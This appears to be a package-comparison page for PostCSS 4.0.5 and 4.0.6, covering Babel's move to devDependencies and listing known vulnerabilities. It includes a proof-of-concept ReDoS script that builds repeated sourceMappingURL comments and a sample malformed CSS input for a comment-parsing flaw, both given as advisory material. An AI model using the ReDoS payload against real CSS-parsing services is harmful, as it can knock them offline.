PostCSS evolved from version 4.0.5 to 4.0.6 with a subtle but potentially impactful shift in its development dependencies. Both versions maintain the core functionality as a "Tool for transforming CSS with JS plugins," licensed under MIT and residing in the postcss/postcss Git repository. Andrey Sitnik remains the author.
The dependency lists reveal the key difference. Version 4.0.5 explicitly lists "babel": "4.4.5" under dependencies, implying that this Babel version is essential for PostCSS's core runtime functionality. However, in version 4.0.6, "babel" migrates to being a devDependencies. This means Babel is no longer required for users to simply run PostCSS in their projects. Instead, it is needed only by developers contributing to PostCSS itself, mainly for tasks like testing, building, or transpiling the PostCSS codebase.
For developers using PostCSS, this is a positive move. Assuming the Babel code is used in the tests suite it reduces the initial dependency footprint and potentially speeds up installation and runtime if Babel isn't strictly needed for core processing. Developers who are leveraging postCSS with version 4.0.6 don't have to include babel explicitly for basic functionality. While the core functionality of both versions remains the same, the change in dependency management makes version 4.0.6 more streamlined and developer friendly by improving dependency management. Other tools like js-base64 and source-map remain essential dependencies in both releases. All other development dependencies are identical in both versions.
All the vulnerabilities related to the version 4.0.6 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.